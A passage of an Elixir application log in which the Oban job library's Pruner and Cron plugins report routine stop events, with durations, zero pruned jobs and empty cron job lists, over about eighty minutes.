{"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.954 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:28.386 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:58.388 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.955 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:28.390 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:58.392 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.956 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:28.394 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:58.396 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.957 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:28.398 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:58.400 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.958 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:28.402 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:58.404 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.959 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:28.406 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:58.408 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.960 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:28.410 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:58.412 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.961 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:28.414 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:58.416 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.962 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:28.418 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:58.420 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.963 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:28.422 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:58.424 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.964 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:28.426 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:58.428 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.965 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:28.430 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:58.432 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.966 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:28.434 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:58.436 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.967 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:28.438 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:58.440 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.968 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:28.442 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:58.444 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.969 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:28.446 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:58.448 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.970 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:28.450 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:58.452 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.971 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:28.454 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:58.456 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.972 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:28.458 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:58.460 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.973 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:28.462 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:58.464 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.974 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:28.466 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:58.468 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.975 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:28.470 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:58.472 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.976 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:28.474 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:58.476 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.977 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:28.478 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:58.480 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.978 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:28.482 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:58.484 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.979 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:28.486 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:58.488 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.980 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:28.490 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:58.492 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.981 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:28.494 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:58.496 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.982 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:28.498 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:58.500 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.983 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:28.502 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:58.504 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.984 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:28.506 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:58.508 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.985 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:28.510 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:58.512 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.986 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:28.514 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:58.516 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.987 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:28.518 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:58.521 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.988 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:28.523 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:58.525 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.989 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:28.527 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:58.529 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.990 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:28.531 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:58.533 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.991 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:28.535 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:58.537 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.992 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:28.540 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:58.542 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.993 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:28.544 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:58.545 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.994 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:28.548 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:58.550 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.995 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:28.552 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:58.554 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.996 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:28.556 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:58.558 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.997 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:28.560 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:58.562 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.998 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:28.564 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:58.566 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.999 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:28.568 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:58.570 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:01.000 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:28.572 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:58.575 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.001 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:28.577 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:58.579 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.002 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:28.581 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:58.583 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.003 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:28.585 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:58.587 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.004 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:28.589 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:58.591 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.005 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:28.593 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:58.595 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.006 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:28.597 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:58.599 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.007 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:28.601 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:58.603 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.008 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:28.605 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:58.607 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.009 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:28.609 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:58.611 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.010 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:28.613 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:58.615 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.011 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:28.617 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:58.619 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.012 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:28.621 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:58.623 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.013 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:28.625 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:58.627 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.014 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:28.629 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:58.631 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.015 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:28.633 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:58.635 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.016 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:28.637 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:58.639 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.017 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:28.641 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:58.643 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.018 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:28.645 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:58.647 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.019 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:28.649 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:58.651 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.020 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:28.653 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:58.655 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.021 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:28.658 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:58.660 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.022 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:28.662 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:58.664 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.023 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:28.666 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:58.668 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.024 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:28.670 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:58.672 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.025 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:28.674 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:58.676 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.026 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:28.678 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:58.680 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.027 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:28.682 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:58.684 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.028 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:28.686 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:58.688 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.029 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:28.690 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:58.692 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.030 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:28.694 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:58.696 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.031 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:28.698 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:58.700 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.032 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:28.702 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:58.704 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.033 [info] 